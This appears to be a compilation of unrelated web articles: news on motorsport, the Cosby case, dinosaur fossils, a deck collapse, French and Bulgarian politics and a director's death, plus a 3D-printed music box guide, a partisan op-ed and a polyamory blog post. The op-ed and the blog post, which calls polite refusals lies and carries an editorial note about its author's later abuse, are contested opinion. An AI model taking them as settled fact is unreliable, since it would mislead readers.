No. 5 was listed in 45th place overall after getting bumped, only ahead of the other cars that retired or did not complete the final lap.  Elsewhere in Le Mans prototypes, the No. 36 Signatech Alpine claimed that number one spot in the LMP2 class once and for all. The experimental Garage 56 entry of SRT 41 by OAK Racing completed a total of 315 laps—with quadruple amputee driver Frédéric Sausset taking the checkered flag.  Advertisement  [Update: We originally reported that the No. 5 TS050 was classified as finishing the race, but it was later revealed that they were not.]
-CUSTOMIZER CHALLENGE CONTEST WINNER - Artistic Category This is a 100% printed customizable music box! Only 3D printed parts are used in the design and it can be assembled and disassembled via printed snapping mechanisms. The project originated when a friend of mine said that he'd only be interested in 3D printing once he can print a music box ;) Videos http://youtu.be/LUlovenI9xQ http://youtu.be/K_c3p24RRtQ (made by banthafodder7400) http://youtu.be/exNeQDz7f3g I'll try to keep the .scad file on this page updated but to help me to manage the design and to make it easier for others to contribute: https://github.com/wizard23/ParametrizedMusicBox  Updates  2018-03-28 Updated URL to generate parameters (was offline)  2016-09-20 Spreadsheet to help you to get the parameters right: https://goo.gl/sKWWDk (created by: Ben Horner)  2013-11-24 Updated link to generator page (old webserver is offline)  2013-03-10 (V3) Added optional Name of Song on top/bottom of MusicCylinder; fixed build plate positioning of pulley that messed up smaller customized versions; cleanup and clarification of descriptions; implemented work around for customizer hickup when strings start with a '.'  2013-03-08 (V2) removed "work in progress status", fully test printed  It's very important to put the music box on a sounding box to get good sound quality. I found that large cardboard boxes and some tables make good sounding boxes. A guitar or a piano should work even better!  A complete music box consists of 6 parts:  Case: the large thin walled part that holds the vibrating teeth and holds everything together  Music Cylinder: the large cylinder with the pins (that encode the music) sticking out  Transmission gear: sits between the crank gear and the music cylinder  Crank gear: drives everything, connects to crank (insert it through the round hole in the case)  Crank: for manually driving the box, connects to crank gear and crank pulley  Pulley: for holding the crank while turning it  With the default parameters you get a complete building plate that can play one full octave range (13 half notes from C to C) in a medium footprint that should fit in most printers. You can enable each part individually to make smaller print plates.  I customized a "Frère Jacques" music cylinder that is compatible with the default parameters: http://www.thingiverse.com/thing:59242  How to adapt the snapping mechanisms  I printed this in PLA. So if you print it in ABS (or if your printer is differently calibrated than mine) you might have to adapt the snap fit:  If one of the gears are too hard to snap in you have to lower "crankAxisHolderH", "midAxisHolderH" or "musicAxisHolderH" depending on which gear causes the problem.  If one of the gears seem to sit too loose once they are snapped in you have to lower "snapAxisSlack"  Ways to get notes that you can then use in Customizer  1. Manual (read this anyway to understand how the music is encoded)  The "pins" variable contains characters that encode the pins on the music cylinder. These pins pluck long teeth that then vibrate and emit a certain note. The number of available different notes/vibrating teeth is given in "pinNrX". The number of time slots/length of the song is given by "pinNrY". For each time slot the "pins" string contains "pinNrX" many characters that determine if a pin should be generated for this specific note at this specific time slot. If the character is an 'X' there will be a pin (and the note will be played) any other character means: no pin. The actual frequency of the vibrating teeth are described in "teethNotes".  Be careful with long songs: If the pins are spaced too close together, i.e. if you try to fit a long song on a cylinder with small radius (derived from the number of teeth of the gear on the bottom of the music cylinder) then the closely spaced pins collide with the teeth and you hear a snare sound. While it's an interesting sound effect you generally want to avoid it by adapting the size of the music cylinder to the length of the song ("pinNrY"). For the default parameters I recommend at least 5mm distance from pin to pin. Tune this distance by adapting "musicCylinderTeeth".  A tip if you want to make a new Music Cylinder for an already printed music box: Don't change any other parameter except the "pins" and "pinNrY"! Well some other parameters can be changed but it's tricky...  2. JavaScript to generate the Pins-String  Stefan (the mentioned friend of mine) wrote this nice little JavaScript application for converting Tabs to the format described above. Here is an example of what I mean with tabs:  C4  C#4  C4 E4 G4  try it out (sound output quality might vary from browser to browser) at:  http://musicbox.magicshifter.net/musicbox.html  For tuning the instrument you simply cut away material from the side of the vibrating tooth. Don't cut away material from the tip since that would change the way it interaction with the pin. If you want it to get a higher frequency remove material from the side of the tip (therefore making it lighter). If you want it lower the frequency remove material from the bottom (making it more flexible).  Credits  The gears I use are adapted versions of the ones made by emmett for his Automatic Transmission Gear Model so I added this as an ancestor. I really love this sharing of ideas on thingiverse :)  For calculating the lengths of the vibrating teeth I used the formulas from this Wikipedia article: http://de.wikipedia.org/wiki/Durchschlagende_Zunge#Berechnung_der_Tonh.C3.B6he (sorry it's in German). I don't think I chose the right material properties for PLA. But it sounds right to me at least relatively. To get exactly the right frequencies one would have to measure the real frequencies by somehow running a fourier transformation over an recording of the picked teeth. Then one could adapt the density and modulus parameter up or down and try again. A simple test cylinder would be one that just plays some notes sequentially so that we can make a recording for comparing the modeled to the measured frequencies. So I included such a test music cylinder (defined in the "Pins" and the "TeethNotes" default parameters) which just plays each note available and some accords.
-PHILADELPHIA -- Bill Cosby's criminal sexual-assault case appears to be headed toward an evidence hearing after a judge denied his latest effort to throw the charges out.  In a ruling Tuesday, the judge who refused to dismiss the case earlier this month denied Cosby's appeal of that decision.  Judge rejects Bill Cosby's immunity deal with former DA  The 78-year-old TV star is accused of drugging and violating an ex-Temple University employee at his suburban Philadelphia home in 2004 and could get 10 years in prison if convicted.  The defense insists Cosby had a promise from a previous district attorney that he would never be charged over the 2004 encounter.  Montgomery County Judge Steven O'Neill, though, found the evidence of such an agreement lacking after hearing from the ex-prosecutor and others at a two-day hearing. He said the issue doesn't warrant an immediate appeal that would delay the scheduled March 8 preliminary hearing.  "An immediate appeal from these orders would not materially advance the ultimate termination of the matter," the judge wrote in a brief order.  A spokesman for Cosby's lawyers said it was unclear if they would appeal to the state Superior Court.  "Today's ruling was not a rejection of Mr. Cosby's appeal which is not within the jurisdiction of the Court of Common Pleas but instead will be filed in the Superior Court of Pennsylvania," a statement said. "Today's ruling denied our request for the lower court to amend its order denying Mr. Cosby's Habeas Petition to include specific language certifying the appeal."  What's next in the Bill Cosby sexual assault case?  Cosby's lawyers have argued that the charges stem from a political feud between former District Attorney Bruce L. Castor Jr., who had declined to arrest Cosby a decade ago, and Kevin Steele, who invoked the case as he campaigned against Castor last fall. Steele won the race for district attorney and filed charges against Cosby in December, days before the filing deadline expired.  Dozens of women in recent years have come forward and accused Cosby of sexual impropriety spanning decades. Cosby, who played Dr. Cliff Huxtable on "The Cosby Show" from 1984 to 1992 and has been married for decades, has denied the women's accusations. The statute of limitations has expired in most of the cases against him.  Cosby, whose legal residence is in western Massachusetts, remains free on $1 million bail.
-Artistic impression of what a psittacosauras, a 'parrot-lizard' dinosaur looked like  They also found other remains including limbs and feathering of both herbivorous dinosaurs and predators.  The trawl in a dinosaurs graveyard on the banks of the Olov River includes body parts from the smallest such creatures ever found by paleontologists.  They found tails with scales and a three fingered limb.  Top to bottom: Kulinda site, where dinosaurs remains were found, Dr. Sofya Sinitsa of Institute of Natural Resources, Ecology and Cryology, Chita, Trans-Baikal region, and Dr. Sinitsa's assistant working on the site.  The feathering discovery is seen as highly significant if confirmed as belonging to the Compsognathus, a dinosaur roughly the size of a turkey - since such feathers, though suspected, have never been unearthed before.  'We are working in this area for third year. There are really a lot of dinosaurs remains, and every year we are finding something unique,' said  Dr Sofya Sinitsa, a specialist of Geo-Mineralogical Sciences at the Chita-based Institute of Natural Resources, Ecology and Cryology of the Siberian Branch of Russian Academy of Sciences.  'We have more than ten preserved bits of skin. It remained untouched because of the volcanic ashes from eruptions 30-40 km away, which covered the skin and acted like a time capsule.  'During three seasons of our work there we have gathered a very good collection of dinosaur remains.  'Their bodies were about a metre long, they weighed from 3 to 4 kgs.'  The finds come from a lower valley in an area known as Kulinda.  Top to bottom: Joseph Oberndorfer acquired this fossil of compsognathus in Bavaria, Germany, in 1859; an artistic impression of what the dinosaur looked like and as compared with human body  'We found both herbivorous dinosaurs and predators - the smallest of all ever found by paleontologists', Dr. Sinitsa said.  'There is no information about such a dinosaurs' site anywhere else in Russia. There is a similar one in China, where scientists have been working for more than 10 years.'  Describing the finds as 'very rich', she said: 'We found a three-fingered limb, and feathering. This year we got a lot of scaled tails, as well as numerous hip and shoulder bones.  'We aim to keep working on the site', Dr. Sinitsa added. She is now seeking sponsorship for her intriguing dinosaur hunt, stressing the need for a bulldozer to dig down deeper where even more significant remains may exist.  'We are hoping to get sponsorship for next season and be back there summer 2013.'  Psittacosauras, an amasing-looking 'parrot-lizard', here given in comparison with human body  The two main dinosaur types they found remains of are the Compsognathus and the Psittacosaurus.  The lizard-eating Compsognathus lived around 150 million years ago. Previously discoveries have been made in France and Germany. It is believed to be related to various birds.  The Psittacosaurus - from the Greek for 'parrot lizard' - lived 130 to 100 million years ago and fossils have been found previously in Russia as well as China and Mongolia.  With various different species, they were 'gazelle-sized bipedal herbivores characterized by a high, powerful beak on the upper jaw', said Wikipedia.  There are many more fossils in existence than for the Compsognathus.  This year Chita regional government gave a sum of 350,000 roubles to gather the remains of Comsognathus dinosaurs.
-Riley MacDonald, the Yarmouth, N.S., teen who snapped a photo of her high school friends posing on a deck at the very moment it began to collapse, wants to set the record straight about the day's events after a flurry of criticism on Facebook.  Riley MacDonald, 17, was at a friend's house on Hanf Road in Brazil Lake for Senior Skip Day 2015 on June 12.  The majority of students at the party were Grade 12 students, including her best friend. But what should have been a day of celebration and relaxation ended with blood and tears in the afternoon. The memory keeps MacDonald awake at night.  She said the day started off on a happy note.  "There was no drama," she said. "Everyone was getting along and stuff. We were just sitting around in camp chairs in a circle, just talking and having a good time."  How it happened  About an hour into the party, one of the graduating students suggested they all pose on the deck for photos since their handmade posters were already taped to the deck's glass.  MacDonald said she stood on the lawn, with another student's phone, and snapped two photos of the group of about 40 students in rapid succession. The homeowner's wife was also taking photos at the time.  "I got one good picture, and I got the picture with the bend in the middle, like one second after," she said.  The first of the two photos MacDonald took. This one was taken just a moment before the deck began to give way. (Riley MacDonald)  In the second photo, the crucial moment was captured: surprised faces, wood splintering and shattering beneath those posing.  MacDonald said by the time she lowered the phone, she was in shock. Her friends were sprawled on the ground, some crying out in pain.  "I can't really tell you what I did immediately after, but I probably stood there for about a minute and then called my mom."  MacDonald said her mother told her to calm down, hang up, and help as many people as she could.  "In my head, one of my first thoughts was, 'Where's (my best friend) Alyssa?' But where she landed, she wasn't hurt," MacDonald said.  "So, once she got up, she was like me. We were just trying to help people … running around frantically with water and paper towels for the blood and stuff."  'We're being bullied'  MacDonald calls the collapse "a freak accident" in which alcohol was not a factor.  About a dozen students were taken to hospital with cuts and bruises and one had a broken ankle.  In the two weeks since the incident, MacDonald said she's had trouble sleeping.  "I just kept hearing the crunch of it collapsing and I just kept seeing it over and over. And I'd wake up every hour through the night."  On June 20, MacDonald's photo was posted to the Facebook page for EMS1, a paramedic news network based in San Francisco. The post was captioned, "Have you responded to a deck or balcony collapse? What are your lessons learned for other EMS professionals?"  Since its posting, there have been 80 comments from multiple users, a large number of whom were critical of how the incident was handled and the common sense of those who were there that day.  MacDonald said the responses have made her angry, and she wants to set the record straight.  "[They] don't realize the damage they're doing to us. All over again. And like, we're being bullied. Everyone just needs to be thankful that everyone is alive today. And that all those students will walk across the stage, come graduation next week," she said.  "I just want people to realize the true story of what happened. I want people to stop judging on what they think they know."  MacDonald said she doesn't know how EMS1 found the photo.  "They must have took it from a share off someone's wall. I never gave them permission to use the picture," she said.
-Charlotte power forward Mike Thorne has received a scholarship offer to play basketball for Kentucky next season, and he would be eligible immediately.  Thorne already has announced that he plans to transfer after he graduates from Charlotte next month. The 6-foot-11, 270-pound prospect averaged 10.1 points and 7.3 rebounds in 26.1 minutes a game for the 49ers this season.  Trinity Christian (N.C.) head coach Heath Vandevender told the Herald-Leader that he spoke to UK Coach John Calipari on Monday afternoon. Calipari is trying to arrange a visit with Thorne and his father in Charlotte before the player visits Lexington.  Thorne also is considering Pittsburgh, Illinois and Kansas.  He visited Pitt this past weekend and has trips to Illinois and Kansas planned for the next two weekends. A visit to UK would probably happen after that.  Vandevender said that playing time would be a major factor in Thorne’s decision, because he has only one year of eligibility remaining. UK’s losing seven players to the NBA Draft — including four in the frontcourt — should help the Wildcats’ chances. The stay-or-go decision of Kansas forward Perry Ellis also could affect Thorne’s recruitment.  Alex Poythress and Marcus Lee are expected to return to the UK frontcourt next season, and they’ll be joined by five-star 7-footer Skal Labissiere. UK also is recruiting Stephen Zimmerman, Cheick Diallo and Thon Maker for the class of 2015.
-Comment Andy Warfield, Coho Data's cofounder and CTO, thinks Pure Storage's FlashBlade design is misconceived.  Warfield says Coho's engineering team went down a very similar route, found it to be wrong, and refocussed elsewhere.  What happened was that, in 2013, the team thought it a good idea to build the densest network-integrated hardware platform that it could to run the software Coho was developing. They were building around PCIe flash and saw that it needed more compute and connectivity than SSDs, and the compute should be separate from the flash because falling flash prices meant you should buy it separately from your compute hardware.  In fact compute, network and storage all needed to scale well, and Coho looked to pack all three into a single hardware chassis.  Their idea was to use an Intel Seacliff Trail 10Gbit, top-of-rack switch as a blade server backplane. Half the ports would interconnect storage blades in the proposed SwitchStore system, with the other half being used for external access devices and exposed as an Ethernet switch.  The storage blades (FlashBlade precursors of this had come to fruition) would be PCIe flash cards hooked up to a server card, and then to the Seacliff Trail backplane.  But the Coho engineers decided this elegant idea was in fact a design cul de sac, because for one thing, you simply should not bet against commodity hardware as, compared to proprietary designs, it has shorter cycle times, lower costs, and smaller challenges in getting validation and QA right.  Commodity hardware benefits enormously from the sheer volume of its deployment. Warfield says: "The idea of being stuck with the delivery lifecycle of proprietary hardware scared the crap out of us."  With software-driven products, you can focus on innovation there and take advantage of fast-developing compute, storage and networking commodity hardware as they occur.  A second point counting against the SwitchStore concept was that it can feed to so many servers that network access to it could be a choke point, involving much cross-rack storage traffic.  It's better, Warfield argues, to provide top-of-rack storage and keep the bulk of storage networking traffic inside a rack. He sees FlashBlade as being so powerful in storage terms that it could seriously affect a data center's core network performance with the amount of inter-rack traffic it generates.  He thinks the scale-out storage concept should include the flexibility to adapt to emerging hardware, to buy hardware as it's needed, and to maximize hardware's efficiency in your data center. These things run counter to the complexity of traditional enterprise storage systems, and Pure's FlashBlade is not really a scale-out array in his view.  It's "an expensive, proprietary, blade chassis-based array," while also being "a really interesting, impressively complicated, proprietary piece of enterprise storage hardware."  You can read his argument in more detail on Andy Warfield's blog. ®
-Senate Democrats have been desperately trying to move the national conversation away from Obamacare to just about anything else before the midterm elections — “paycheck fairness,” the minimum wage, even the Koch brothers.  But President Obama’s choice of Sylvia Burwell to replace Kathleen Sebelius as secretary of Health and Human Services thrusts Obamacare right back into the national spotlight — and with it Obama’s false promise that “if you like your health-care plan, you can keep your health-care plan.”  The agency Burwell heads, the Office of Management and Budget, is responsible for the president’s budget. But OMB also has another, lesser-known responsibility: fact-checking presidential speeches. Every proposed presidential utterance is scrubbed for accuracy by OMB.  When speechwriters finish a draft presidential address, it is circulated to the White House senior staff and top cabinet officials in what is known as the “staffing process.” As part of that process, nonpartisan career policy experts at OMB review the speech and are responsible for attesting to the factual accuracy of everything the president says.  So thanks to Burwell’s nomination, Americans may finally get to the bottom of how the biggest presidential lie in recent memory made it though OMB’s fact-checking process — not once but dozens of times.  The first time the lie surfaced — when Obama told the American Medical Association on June 15, 2009, “If you like your doctor, you will be able to keep your doctor, period. If you like your health-care plan, you’ll be able to keep your health-care plan, period. No one will take it away, no matter what” — it wasn’t on Burwell’s watch.  But Burwell was OMB director when Obama declared on Sept. 26, 2013: “Now, let’s start with the fact that even before the Affordable Care Act fully takes effect, about 85 percent of Americans already have health insurance — either through their job, or through Medicare, or through the individual market. So if you’re one of these folks, it’s reasonable that you might worry whether health-care reform is going to create changes that are a problem for you — especially when you’re bombarded with all sorts of fear-mongering. So the first thing you need to know is this: If you already have health care, you don’t have to do anything.”  Burwell should explain to Congress and the American people how her office allowed blatant falsehoods to get into presidential speeches, including whether political aides overruled career policy advisers who warned that the president’s claims were untrue.  This isn’t just a rehashing of ancient history, because the worst impacts of Obama’s lie are still to come. While some 6 million Americans lost their individual market plans last fall, tens of millions of Americans will see their employer-based health plans canceled or changed dramatically when the employer mandate kicks in. Obama has delayed the mandate for a year in an effort to prevent cancellations before the midterm elections. But on Burwell’s watch, he has also falsely promised that those with employer-based plans have nothing to worry about.  In October 2013, Obama declared: “Keep in mind that the individual market accounts for 5 percent of the population. So when I said you can keep your health care, I’m looking at folks who’ve got employer-based health care.” But “folks who’ve got employer-based health care” are going to lose their coverage, too — in fact, some businesses like Target, Trader Joe’s and Home Depot are already canceling plans and scaling back health benefits before the mandate kicks in. Burwell should be forced to explain how that Obama lie made it thought the OMB fact-checking process.  If Senate Democrats are smart, they will be the ones pushing hardest for this information — especially the 12 up for reelection this year who repeated the Obama lie. Sen. Mary Landrieu (La.) pledged, “If you like the insurance that you have, you’ll be able to keep it.” Sen. Mark Pryor (Ark.) said Arkansans want to know “are we gonna be able to stick with our plan? The answer is yes.” Sen. Kay Hagan (N.C.) promised, “If you like your insurance and your doctors, you keep them.” Sen. Jeanne Shaheen (N.H.) swore, “Everyone will have the freedom to keep their health plan if they like it.” Sen. Mark Begich (Alaska) vowed, “Alaskans who have health insurance now, and are happy with it, can keep it.” Sen. Mark Warner (Va.) declared, “I’m not going to support a health-care reform plan that’s going to take away the health care you’ve got right now or a health-care plan that you like.” The rest made similar pledges.  Burwell should not be confirmed until she explains how OMB allowed the president of the United States to lie — repeatedly — to the American people. If Democrats don’t demand answers, they can be sure that Republicans will. Since avoiding the subject is not an option, her hearings will be a fascinating insight into the Democrats’ 2014 strategy on Obamacare. Vulnerable Senate Democrats have two choices: Come to Obama’s defense, or use the Burwell hearings to separate themselves from the president and blame him for misleading them like he misled the rest of America.  We’ll soon see which one they choose.  Read more from Marc Thiessen’s archive, follow him on Twitter or subscribe to his updates on Facebook.
-Filmmaker Jonathan Demme, renowned for Silence of the Lambs, Stop Making Sense, and Philadelphia, has died, IndieWire reports and a representative for Demme confirms. He was 73 and died this morning from complications from esophageal cancer. Demme was best known for 1991’s The Silence of the Lambs, which earned him the Academy Award for Best Director. He also directed Talking Heads’ iconic concert film Stop Making Sense, as well as the Oscar-nominated movies Philadelphia and Rachel Getting Married. In addition, he made three documentaries for Neil Young (2006’s Neil Young: Heart of Gold, 2009’s Neil Young Trunk Show, and 2012’s Neil Young Journeys), as well as a film for Justin Timberlake—2016’s Justin Timberlake + The Tennessee Kids. As a music video director, he made visuals for Bruce Springsteen, New Order, the Feelies, and others.  Demme's family requests that in lieu of flowers, donations be made to Americans for Immigrant Justice in Miami.  “Jonathan taught us how big a heart a person can have, and how it will guide how we live and what we do for a living. He was the grandest of men,” Tom Hanks said in a statement.  Meryl Streep said of Demme: “A big-hearted, big tent, compassionate man in full embrace in his life of people in need and of the potential of art, music, poetry and film to fill that need. A big loss to the caring world.”
-Image caption The last week has seen a number of anti-Roma rallies across Bulgaria  About 2,000 Bulgarians have marched in the centre of the capital, Sofia, in an anti-Roma protest.  The demonstrators said they were against corruption and organised crime, which they linked to Bulgaria's Roma or gypsy ethnic minority.  There have been protests and sporadic violence since the death a week ago of a youth hit by a car driven by relatives of a Roma clan boss.  President Georgy Parvanov has called for "an end to the language of hatred".  "We are marching against all parasite communities, against the mafia," a protester named Filip told Reuters news agency.  "We stand against this government and the political elite, against the impunity and the corruption," said another protesters.  'Extreme language'  The unrest prompted Prime Minister Boyko Borisov and President Parvanov to call a meeting of the national security council.  Afterwards, Mr Parvanov called on the media and politicians to "put an end to the language of hatred pushed to the extreme", AFP news agency quoted him as saying.  The rising tension comes ahead of presidential elections on 23 October.  In Sofia, the far-right Ataka party's candidate, Volen Siderov, spoke to several hundred supporters outside the presidential palace.  He called for the death penalty to be reinstated and for Roma "ghettos to be dismantled", AFP said.  Some of the crowd wore shirts that read: "I don't want to live in a Gypsy state."  The unrest began on 24 September after a van carrying family members of Kiril Rashkov - nicknamed "King Kiro" - ran over and killed a 19-year-old man in the southern village of Katunitsa.  An angry crowd of about 2,000 people then gathered and attacked three houses owned by the Roma leader in the village, shouting anti-Roma slogans.  Small but at times violent demonstrations by nationalist youth then spread to other towns over the week.  The violence is thought to be the worst since 1997, when an economic crisis and hyperinflation brought Bulgarians onto the streets.  The Roma make up around 5% of Bulgaria's population of 7.4m.  The unrest highlights tensions in Bulgaria, the poorest country in the European Union, as it struggles to emerge from deep economic recession.
-Six years before he published his breakthrough novel, Naked Lunch (1959), William S. Burroughs broke into the literary scene with Junky (sometimes also called Junkie), a candid, semi-autobiographical account of an "unredeemed drug addict." It's safe to say that the book wouldn't have seen the light of day if Allen Ginsberg hadn't taken Burroughs under his wing and edited the manuscript. The book, originally published under the pseudonym "William Lee," was distributed by Ace Books, a publishing house that targeted New York City subway riders. You can listen to Burroughs, the famous beat writer, reading a three-hour abridged version of the text over at UBUWeb.  Junky has been added to our list of Free Audio Books. And, on a related note, Burroughs fans will want to watch The Junky's Christmas, a short claymation film written and narrated by Burroughs in 1993. Other films based on his writing appear in our collection of Free Movies Online.  H/T @maudnewton
-IC3RE has started a collaboration with the IOTA Foundation as part of the Outlier Venture research and development programme.  The College will work with the IOTA Foundation in two key ways designed to bring the IOTA protocol closer to real-world adoption and to increase the utility of this breakthrough new approach to distributed ledger technology.  The Imperial team of students and leading professors will work with the IOTA Foundation to conceptualise and build new Proof of Concepts on top of the IOTA protocol. Work will be undertaken in areas such as mobility, infrastructure and of course Internet of Things innovation.  Building on initial work by the IOTA Foundation, teams from Imperial will focus on visualising transactions occurring across the IOTA Tangle. The Tangle is the IOTA protocol’s innovative, non-linear, distributed ledger architecture. The team will focus on visualising the IOTA ‘Mainnet’, which is in live operation today as well as visualising a range of planned stress-tests focused on running thousands of transactions per second across the IOTA network.  Dr Catherine Mulligan, Co-Director for Cryptocurrency Research and Engineering at Imperial commented: "The IOTA protocol is an extremely exciting new approach to distributed ledger technology that promises huge scalability and economic improvements over traditional blockchains.  "Imperial is home to some of the brightest young minds in cryptocurrency that will relish the opportunity to help build IOTA's capabilities further."  Imperial has proven its leading massive-scale data visualisation capabilities having created a real-time data visualisation of Bitcoin, showing the global adoption and topology of Bitcoin globally as transactions occur.  Unlike traditional blockchains, transactions occurring across the Tangle network are not sequential and are not based on ‘blocks’. This is key to IOTA's ability to scale dramatically using its innovative Distributed Acyclic Graph technology to handle thousands of transactions per second, dwarfing the scalability of both the Bitcoin and Ethereum blockchains.  Today, the Bitcoin network is capable of processing circa five transactions per second and the Ethereum blockchain around 20, which is severely limiting the utility of both networks. Recently, SatoshiPay announced its intention to switch from Bitcoin to IOTA in order to handle micropayments based on a truly scalable solution.  William Knottenbelt, Professor of Applied Quantitative Analysis at Imperial College explains what this means for students: "Our students want to be working with the very latest Open Source technology to hone their skills and contribute to projects that have the potential to change the world. I’m already receiving requests to begin investigating IOTA."
-Polling takes place against background of hacking that is ‘clearly an attempt at democratic destabilisation’  France goes to the polls as country decides between Macron or Le Pen  Voting is under way in the final round of France’s presidential race after a massive online dump of frontrunner Emmanuel Macron’s campaign data delivered a final dramatic twist to the country’s most bruising, divisive and significant election in decades.  The French election watchdog warned that it could be a criminal offence to publish the tens of thousands of hacked emails and other documents – some reportedly fake – amid an electioneering blackout lasting from midnight on Friday until polls close at 8pm on Sunday.  The twists and turns of France’s strangest ever presidential election Read more  The interior ministry said turnout at 5pm was 65.3%, noticeably down on 71.96% at the last election in 2012 but in line with pollsters’ projections ahead of the vote. The final abstention rate is set to be 25-27%.  The hack, on which neither Macron or his opponent, far-right leader Marine Le Pen, were allowed to comment publicly, was “clearly an attempt at democratic destabilisation, like that seen during the last presidential campaign in the US”, according to his En Marche! campaign team.  The divisive election to choose the Fifth Republic’s eighth president has turned the country’s politics upside down, with neither of the two mainstream centre-right and centre-left movements that have governed France since the second world war making it to the runoff.  Seen as potentially the most important electoral contest in many years for France and the European Union, it has pitted against each other two candidates with diametrically opposing visions for the future of their country and the continent.  Macron, a 39-year-old former banker and economy minister running as an independent centrist, is economically liberal, socially progressive, globally minded and upbeat. Le Pen is a nation-first protectionist who wants to close France’s borders and possibly leave the euro and the EU.  Macron voted in the coastal town of Le Touquet in northern France alongside his wife, Brigitte, smiling and stopping to pet a black dog as he stepped out of his holiday home in the seaside resort.  For security reasons, he was driven to his nearby polling station at Le Touquet town and shook hands with a large crowd of supporters before entering the building. Le Pen her ballot in Hénin-Beaumont, a small northern town run by her Front National.  She arrived at the polling station with the town’s mayor, Steeve Briois, who took over as the far-right party’s interim leader when she stepped aside last month to concentrate on the campaign.  Feminist activists were briefly detained a couple of hours earlier on Sunday for hanging a big anti-Le Pen banner from a church in the town.  Facebook Twitter Pinterest Marine Le Pen emerges from a pooling booth. Photograph: Pascal Rossignol/Reuters  Final polls published on Friday suggested Macron had widened his lead over Le Pen to between 22 and 23 percentage points following an ugly TV debate in which she was widely considered to have spent more time attacking her opponent than engaging with policy.  “The commission calls on everyone present on internet sites and social networks – primarily the media, but also all citizens – to show responsibility and not pass on this content so as not to distort the sincerity of the ballot,” the election commission said on Saturday.  Many television news channels opted not even to mention the hack, while Le Monde newspaper said on its website it would not publish any of the nine gigabytes of leaked data before the election – partly because there was too much, and partly because it had clearly been released with the aim of affecting the vote.  “If these documents contain revelations, Le Monde will of course publish them after having investigated them, respecting our journalistic and ethical rules, and without allowing ourselves to be exploited by the publishing calendar of anonymous actors,” the paper said.  Macron is en route to the Elysée, but may find it hard to govern Read more  The data was posted on a profile called EMLEAKS to Pastebin, a site allowing anonymous document sharing. En Marche! said it was not alarmed by the content, adding the documents “reflected the normal operations of a campaign” but had been mixed with fakes to “sow doubt and disinformation”.  Intelligence agencies in the US said in January that the Russian president, Vladimir Putin, had ordered hacking of Democratic campaign officials before last year’s presidential election in a bid to boost the chances of Republican candidate Donald Trump over Hillary Clinton.  Mainland France’s 47 million voters began casting their ballots at about 70,000 polling stations around the country at 8am (0700 BST). Usually reliable estimates of the result, based on a representative count of actual votes cast, will be released as the last stations close at 8pm (1900 BST).  Voting began in France’s overseas territories on Saturday, starting with Saint-Pierre-et-Miquelon, an archipelago near the Canadian island of Newfoundland, and continuing in other far-flung overseas territories and French embassies abroad.  Up to a quarter of the electorate is expected to abstain, with some supporters of the centre-right candidate François Fillon and the hard-left veteran Jean-Luc Mélenchon, both defeated in the first round on 23 April, saying they would not be voting for either candidate.
-Honesty is Hard; Rudeness is Easy June 20, 2012  Posted by wfenza in Culture and Society  Editorial Note: This post was written by Wes Fenza, long before the falling out of our previous quint household and the subsequent illumination of his abusive behavior, sexual assault of several women, and removal from the Polyamory Leadership Network and banning from at least one conference. I have left Wes’ posts here because I don’t believe it’s meaningful to simply remove them. You cannot remove the truth by hiding it; Wes and I used to collaborate, and his thoughts will remain here, with this notice attached.  —–  Wes here.  On Sunday, I wrote about how honesty is hard in a sexual/dating context. My previous post was an attempt to address what I see as a problem, where people hide their true intent in social interactions due to politeness, social expectation, fear of punishment, or maliciousness. Today, I’d like to highlight one of the misconceptions of that post, namely, that I advocate cold-propositioning in inappropriate situations. The previous post was meant to address what happens in social interactions, which is why the focus was on dishonest behavior.  A few people have suggested to me that the arguments that I make could be used to justify things like catcalling, interrupting, and other rude/unacceptable behaviors, all in the name of “I’m just honestly communicating.” I do not feel that I made any arguments advocating in favor of such things, but if anyone disagrees, I invite reasonable, calm discussion on the topic.  The difference between what I’m advocating and something like catcalling is that catcalling is rude for reasons other than the sexual content. Yelling “nice tits” at a woman on the street is rude because (a) it interrupts whatever she is doing, and she’s given no indication that she is interested in socializing, or that she is interested in your opinion; (b) it’s not designed to start a conversation; (c) it’s clearly meant to intimidate, not actually to compliment.* This behavior is rude because it involved showing nudity to a non-consenting person, and because it violated the conference’s policy on propositioning (but not for any of the other reasons set forth in the post).  Propositioning someone for sex is rude in any case where propositioning someone for any other activity is rude. If it’s rude to ask someone if ze’d like to go ice-skating, it’s rude to ask for sex. Conversely, if it is NOT rude to ask someone to go ice-skating, then I don’t believe it’s rude to ask hir to have sex (unless of course, that person has made clear that ze wishes not to be propositioned in that manner).  What is also rude is saying “wow, that’s really interesting” when you mean “you’re really hot.” It’s rude to say “I would love to, but I have plans” when you mean “I don’t want to.” It’s rude to pretend to care about someone’s problems when you really just want to get in hir pants. In short, it’s rude to communicate things that you don’t mean and/or take active steps to hide the way you really feel/think. They key, of course, is ACTIVE steps. There’s nothing rude about seeing an attractive person and NOT telling hir that you think ze’s hot (and, depending on context, it can be very rude to just go up to someone and announce that). It’s only rude if you’re actively concealing that fact.  When a woman says things like “I would love to, but I have a conflict” or “I wish I could,” (especially to a sexual invitation) these are generally understood by all parties as clear refusals. Some people have taken this to mean that there is no miscommunication involved in such a refusal. But the fact that it’s a refusal is as far as the clarity goes. All refusals are not created equal. Saying “no, I’m not attracted to you” sends a much clearer message than “I would, but I’m very tired.” The former sends the message that sex is not an option for the foreseeable future, the latter send the message the woman in question would like to have sex under other circumstances. Both are refusals, but both contain different information in addition to the refusal.  Couching a refusal in terms of being unable to do something as opposed to being unwilling is generally seen as polite. I do not see it this way. I see it as a lie, and a very unfriendly thing to do to someone. As I said in my last post, hurting someone’s feelings by telling them the truth is a brave and awesome thing to do.  There is, of course, a grey area in between catcalling on the street and admitting your intentions once conversation has been started. It’s hard to say exactly when it’s ok to approach a person, and when reasonable boundaries are being crossed. What I propose is that sexual desires are given the same treatment as any other desire to participate in an activity with someone. I’m serious about the ice skating thing. Interrupting someone reading a book to ask if ze’d like to go rock-climbing (or bike riding, or going for a walk in the park, or playing video games, etc.) with you is rude; just as doing the same thing with an invitation to sexual activity is rude. Asking someone you just met to go rock-climbing is not rude if you’re already engaged in mutual socializing. However, asking someone if ze’d like to have sex in such a situation is often considered rude, which I don’t agree with. It’s also considered rude to see a person as merely a means to partnered rock-climbing, and not as a human with independent desires of hir own, just as the same thing is rude with sex.  I’m not advocating unbridled communication of sexual desires. I’m just saying that if you’re going to communicate, communicate honestly and bluntly. If someone is going to be creeped out by your desire, hiding your desire is not the answer. Ze should be creeped out by your desire if you have creepy desires. Masking them in subtlety and politeness might make you appear less creepy, but really you’re just hiding them.  In conclusion, I’d like to highlight this comment 